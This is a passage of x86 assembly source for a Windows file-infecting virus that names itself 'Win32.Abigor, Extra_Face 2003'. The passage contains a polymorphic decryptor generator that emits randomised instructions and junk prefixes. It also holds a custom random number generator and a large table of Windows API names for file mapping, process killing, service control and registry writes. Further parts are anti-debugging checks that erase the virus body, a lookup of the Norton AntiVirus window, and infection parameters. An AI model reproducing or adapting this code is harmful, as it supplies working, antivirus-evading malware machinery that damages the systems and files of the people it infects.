mov al,bl
stosb
ret
@@:
or cl,cl
jnz @F
mov al,0Dh ; EAX SPECIFIC OPCODE
stosb
jmp End_GEN_OR_REG32_IMM32
@@:
mov ax,0C881h
add ah,cl
stosw
End_GEN_OR_REG32_IMM32:
mov eax,ebx
stosd
ret
GEN_AND_REG32_REG32:
mov ax,0C021h
shl ch,3
or ah,cl
or ah,ch
stosw
ret
GEN_AND_REG32_IMM32:
CAll IS_NBR_8B
jc @F
mov ax,0E083h
add ah,cl
stosw
mov al,bl
stosb
ret
@@:
or cl,cl
jnz @F
mov al,25h ; EAX SPECIFIC OPCODE
stosb
jmp End_AND_REG32_IMM32
@@:
mov ax,0E081h
add ah,cl
stosw
End_AND_REG32_IMM32:
mov eax,ebx
stosd
ret
GEN_MOVSX_REG32_REG8:
mov al,0Fh
stosb
mov ax,0C0BEh
shl cl,3
or ah,cl
push eax
CALL Random32
and eax,7
mov ch,al
pop eax
or ah,ch
stosw
ret
GEN_MOVZX_REG32_REG8:
mov al,0Fh
stosb
mov ax,0C0B6h
shl cl,3
or ah,cl
push eax
CALL Random32
and eax,7
mov ch,al
pop eax
or ah,ch
stosw
ret
GEN_BSWAP_REG32:
mov ax,0C80Fh
or ah,cl
stosw
ret
GEN_NEG_REG32:
mov ax,0D8F7h
or ah,cl
stosw
ret
GEN_NOT_REG32:
mov ax,0D0F7h
or ah,cl
stosw
ret
GEN_ONEBYTE:
xor eax,eax
push 5
pop ecx
Call Get_rand_range
or eax,eax
jz GEN_CLD
dec eax
jz GEN_NOP
dec eax
jz GEN_CMC
dec eax
jz GEN_STC
dec eax
jz GEN_CLC
mov al,0FDh
stosb
ret
GEN_CLD:
mov al,0FCh
stosb
ret
GEN_NOP:
mov al,90h
stosb
ret
GEN_CMC:
mov al,0F5h
stosb
ret
GEN_STC:
mov al,0F9h
stosb
ret
GEN_CLC:
mov al,0F8h
stosb
ret
GEN_XCHG_REG32_REG32:
or cl,cl
jnz @F
cmp cl,ch
jnz @F
ret ;This makes a nop
@@:
or ch,ch
jnz XCHG_2
mov al,90h
or al,cl
or al,ch
stosb
ret
XCHG_2:
mov ax,0C087h
shl cl,3
or ah,cl
or ah,ch
stosw
ret
GEN_RCL_REG32_IMM8:
and ebx,0Fh
or ebx,ebx
jnz @F
inc ebx
@@:
.IF bl == 1
mov ax,0D0D1h
or ah,cl
stosw
ret
.ENDIF
mov ax,0D0C1h
or ah,cl
stosw
mov al,bl
stosb
ret
GEN_RCR_REG32_IMM8:
and ebx,0Fh
or ebx,ebx
jnz @F
inc ebx
@@:
.IF bl == 1
mov ax,0D8D1h
or ah,cl
stosw
ret
.ENDIF
mov ax,0D8C1h
or ah,cl
stosw
mov al,bl
stosb
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetRegs proc ; Determines regs affectation in poly cryptor loop
push edx
push ebx
push esi
push 3
pop esi
GetRegsLp:
@@:
xor eax,eax
push 7
pop ecx
Call Get_rand_range
mov edx,eax
@@:
xor eax,eax
push 7
pop ecx
Call Get_rand_range
cmp eax,edx
jz @B
mov ebx,eax
mov al, byte ptr [ebp + edx + base_reg]
xchg al, byte ptr [ebp + ebx + base_reg]
mov byte ptr [ebp + edx + base_reg],al
dec esi
jns GetRegsLp
pop esi
pop ebx
pop edx
ret
GetRegs endp
;GetValid8BREGS proc
; lea eax, dword ptr [ebp + base_reg]
;
; ret
;GetValid8BREGS endp
ArrangeTo8Bits? proc
push ecx
Call Random32
and eax,0Fh
jnz @F
push -80h
pop eax
push 80h
pop ecx
Call Get_rand_range
mov ebx,eax
@@:
pop ecx
ret
ArrangeTo8Bits? endp
OneByte db 0FCh
db 0FDh
db 0F5h
db 0F8h
db 0F9h
OneSize = $ - OFFSET OneByte
Rand_OneByte proc
Call Random32
and eax, 07FFh
jnz @F
push ecx
lea eax, dword ptr [ebp + OneByte]
mov ecx, eax
add ecx, OneSize
Call Get_rand_range
mov al, byte ptr [eax]
stosb
pop ecx
@@:
ret
Rand_OneByte endp
Prefix_Tbl db 0F2H
db 0F3h
db 0F2H
db 0F3h
db 0F2H
db 0F3h
db 0F2H
db 0F3h
db 0F2H
db 0F3h
db 0F2H
db 0F3h
db 2EH
db 3EH
db 26H
db 64H
db 65H
db 2EH
db 3EH
Prefix_TBL_size = $ - OFFSET Prefix_Tbl
Rand_Prefix proc uses ecx
xor eax, eax
push 35
pop ecx
Call Get_rand_range
dec eax
jnz SkipPrefix
push ecx
lea eax, dword ptr [ebp + Prefix_Tbl]
mov ecx, eax
add ecx, Prefix_TBL_size
Call Get_rand_range
mov al, byte ptr [eax]
stosb
pop ecx
SkipPrefix:
ret
Rand_Prefix endp
Get_rand_range proc ; eax: min, ecx : max
push edx
push ebx
mov ebx,eax
sub ecx,eax
mov eax,ecx
Call Random32
xor edx,edx
jecxz @F
div ecx
@@:
add edx,ebx
mov eax,edx
pop ebx
pop edx
ret
Get_rand_range endp
Random_init proc
lea eax, dword ptr [ebp + szGetTickCount]
Call K32Api
sub dword ptr [ebp + SEED1], eax
lea eax, dword ptr [ebp + CreationTime]
push eax
lea eax, dword ptr [ebp + szGetSystemTimeAsFileTime]
Call K32Api
mov eax, dword ptr [ebp + CreationTime]
add dword ptr [ebp + SEED2], eax
ret
Random_init endp
Random32 Proc uses ecx ebx edx
mov ebx, dword ptr [ebp + SEED1]
rdtsc
mov ecx, eax
and ecx, 0F0Fh
mov eax, dword ptr [ebp + SEED2]
bswap ebx
ror ebx, 3
xor ebx, 0B56AF12h
rcl ebx, cl
adc ebx, 15448Ch
ror ebx, 3
xor ebx, dword ptr [ebp + SEED1]
add eax, 124154144
xor dword ptr [ebp + SEED1], eax
mov cl, ch
rcl eax, cl
adc dword ptr [ebp + SEED1], ebx
xor dword ptr [ebp + SEED2], ebx
xor eax, ebx
ret
SEED1 dd 0
SEED2 dd 0
Random32 endp
_KERNEL32 dd 77E40000h ; kernel XP
szGetProcAddress db "GetProcAddress",0
GPASIZE equ OFFSET $ - OFFSET szGetProcAddress
_GetProcAddress dd 0bff76dach ; default GPA (hardcoded win98)
;shitty db "FUCK.VXD",0
;UPXSign db "UPX",0
;UPXSignLen equ $ - OFFSET UPXSign
ZipSign db "_winzip_"
ZipSignLen equ $ - OFFSET ZipSign
Kernel db "kernel32.dll",0
K32APIZ:
szLoadLibraryA db "LoadLibraryA",0
szFreeLibrary db "FreeLibrary",0
szUnmapViewOfFile db "UnmapViewOfFile",0
szCreateFileMappingA db "CreateFileMappingA",0
szCreateFileA db "CreateFileA",0
szMapViewOfFile db "MapViewOfFile",0
szGetFileSize db "GetFileSize",0
szCloseHandle db "CloseHandle",0
szSetFilePointer db "SetFilePointer",0
szSetEndOfFile db "SetEndOfFile",0
szFindFirstFileA db "FindFirstFileA",0
szFindNextFileA db "FindNextFileA",0
szFindClose db "FindClose",0
szVirtualAlloc db "VirtualAlloc",0
szVirtualFree db "VirtualFree",0
szGetTickCount db "GetTickCount",0
szGetSystemTimeAsFileTime db "GetSystemTimeAsFileTime",0
szGetFileAttributesA db "GetFileAttributesA",0
szSetFileAttributesA db "SetFileAttributesA",0
szGetFileTime db "GetFileTime",0
szSetFileTime db "SetFileTime",0
szGetWindowsDirectoryA db "GetWindowsDirectoryA",0
szGetSystemDirectoryA db "GetSystemDirectoryA",0
szCopyFileA db "CopyFileA",0
szGetVersionExA db "GetVersionExA",0
szGetComputerNameA db "GetComputerNameA",0
szIsDebuggerPresent db "IsDebuggerPresent",0
szGetCommandLineA db "GetCommandLineA",0
szCreateProcessA db "CreateProcessA",0
szGetStartupInfoA db "GetStartupInfoA",0
szGetModuleFileNameA db "GetModuleFileNameA",0
szlstrcmpiA db "lstrcmpiA",0
szMultiByteToWideChar db "MultiByteToWideChar",0
szOpenProcess db "OpenProcess",0
szCreateToolhelp32Snapshot db "CreateToolhelp32Snapshot",0
szProcess32First db "Process32First",0
szProcess32Next db "Process32Next",0
szTerminateProcess db "TerminateProcess",0
szGetTempPathA db "GetTempPathA",0
szGetTempFileNameA db "GetTempFileNameA",0
szWriteFile db "WriteFile",0
szSetErrorMode db "SetErrorMode",0
szCreateThread db "CreateThread",0
;szGetCurrentThreadId db "GetCurrentThreadId",0
;szSuspendThread db "SuspendThread",0
;szResumeThread db "ResumeThread",0
;szGetThreadContext db "GetThreadContext",0
;szSetThreadContext db "SetThreadContext",0
szExitThread db "ExitThread",0
szWaitForSingleObject db "WaitForSingleObject",0
szCreateEventA db "CreateEventA",0
szSetEvent db "SetEvent",0
szDeleteFileA db "DeleteFileA",0
USER32 db "USER32",0
szFindWindowA db "FindWindowA",0
szSendMessageA db "SendMessageA",0
Advapi32 db "advapi32",0
szRegCloseKey db "RegCloseKey",0
szRegCreateKeyExA db "RegCreateKeyExA",0
szRegSetValueExA db "RegSetValueExA",0
szOpenSCManagerA db "OpenSCManagerA",0
szCloseServiceHandle db "CloseServiceHandle",0
szOpenServiceA db "OpenServiceA",0
szControlService db "ControlService",0
szDeleteService db "DeleteService",0
szGetUserNameA db "GetUserNameA",0
Psapi db "psapi",0
szEnumProcesses db "EnumProcesses",0
szGetModuleFileNameExA db "GetModuleFileNameExA",0
SFC db "SFC",0
szSfcIsFileProtected db "SfcIsFileProtected",0
IMAGEHLP db "IMAGEHLP",0
szCheckSumMappedFile db "CheckSumMappedFile",0
Shell32 db "Shell32",0
szSHGetFileInfo db "SHGetFileInfo",0
szExitProcess db "ExitProcess",0
msvcrt db "msvcrt",0
_exit db "_exit",0 ; Msvctr's C\C++ standard exit function
exit db "exit",0 ; ...
;divider dd 10000000
NAV_Win db "Norton AntiVirus",0
hNAVWnd dd ?
TS_Win db "TS_server",0 ; Tiny Sting backdoor
U32APIZ:
szMessageBoxA db "MessageBoxA",0
;szMessageBeep db "MessageBeep",0
;pAlloc dd 0
hFind dd 0
ApiCounter dd 0
_USER32 dd 0
_ADVAPI32 dd 0
_PSAPI dd 0
_Shell32 dd 0
_Exit1 dd 0
_Exit2 dd 0
_Exit3 dd 0
ThunkIndex dd 0
;ImportSec dd 0
hFile dd 0
hMap dd 0
pMap dd 0
Size2Align dd 0
;CryptBuf dd 0
FAlignment dd 0
ImageBase dd 0
;EntryPoint dd 0
PEheader dd 0
OriginalAttributes dd 0
OriginalFileTime dd 0
;SectionAlignment dd 0
InfectionTime FILETIME <0>
CreationTime FILETIME <0>
LastAccessTime FILETIME <0>
LastWriteTime FILETIME <0>
TimeDifference FILETIME <0>
;ExitCode dd 0
pFileName dd 0
SecHeader dd 0
HostBase dd 0
Patched? dd 0
SizeRelative dd 0
hSFC dd 0
pAlloc dd 0
OldSize dd 0
;hSnapShot dd 0
OldCompName db (MAX_COMPUTERNAME_LENGTH + 1) dup (0)
InfectionCtr db 0
_SizeTestFailed db 0
NewSystem db 0
K32Api proc
push eax
push dword ptr [ebp+_KERNEL32]
Call dword ptr [ebp+_GetProcAddress]
Call StealthCode
jmp eax
K32Api endp
U32Api proc
push eax
push dword ptr [ebp+_USER32]
Call dword ptr [ebp+_GetProcAddress]
Call StealthCode
jmp eax
U32Api endp
ADVAPI32Api proc
push eax
push dword ptr [ebp+_ADVAPI32]
Call dword ptr [ebp+_GetProcAddress]
Call StealthCode
jmp eax
ADVAPI32Api endp
PSAPIApi proc
push eax
push dword ptr [ebp+_PSAPI]
Call dword ptr [ebp+_GetProcAddress]
Call StealthCode
jmp eax
PSAPIApi endp
StealthCode proc
mov ecx, dword ptr [esp+4]
cmp byte ptr [ecx], 0CCh ; BPX check : Virus code return address
jz ZeroShit
cmp byte ptr [eax], 0CCh ; BPX check : Api entrypoint
jz ZeroShit
ret
StealthCode endp
ZeroShit:
exception_handler:
xor edx,edx
pop dword ptr fs:[edx]
;mov esp, [esp + 8]
db 0BDh
@@Delta dd 0 ; Restore Delta
.IF byte ptr [ebp + _MainHostFile] == 1
@@:
Call ReDoMainHost
cmp byte ptr [ebp + _MainHostFile], 1
jz @B
.ENDIF
lea eax,dword ptr [ebp+msvcrt]
push eax
lea eax,dword ptr [ebp+szLoadLibraryA]
CAll K32Api
lea ecx,dword ptr [ebp+exit]
push ecx
push eax
lea eax,dword ptr [ebp+szGetProcAddress]
CAll K32Api
mov ebx, eax
TheEnd:
xor eax, eax
push 0 ; ExitCode
mov ecx, ZeroShitSize / 4
lea edi, [ebp + VirusStart]
ZeroShitSize equ ($ - OFFSET VirusStart)
rep stosd
Call ebx
ret
db "Win32.Abigor, Extra_Face 2003 (c)",0
EndVir:
VirusSize equ OFFSET EndVir - OFFSET VirusStart
CryptSize equ OFFSET EndVir - OFFSET VirusStart
MAX_POLY_SIZE equ VirusSize + MAX_DEC_SIZE
MAX_DEC_SIZE equ 120000 ; Big MEM
MAX_POLY_RECURSIVITY_SIZE equ MAX_DEC_SIZE / 2
MAX_BRANCH_CODE_SIZE equ 30000 ; for branch structures
MINIMUM_FILE_SIZE equ 8000
MAXIMUM_FILE_SIZE equ 4000000
TIME_DROP equ 0FFFFFFE0h ;FFFFFD00 ~= 3,5 jours
end start
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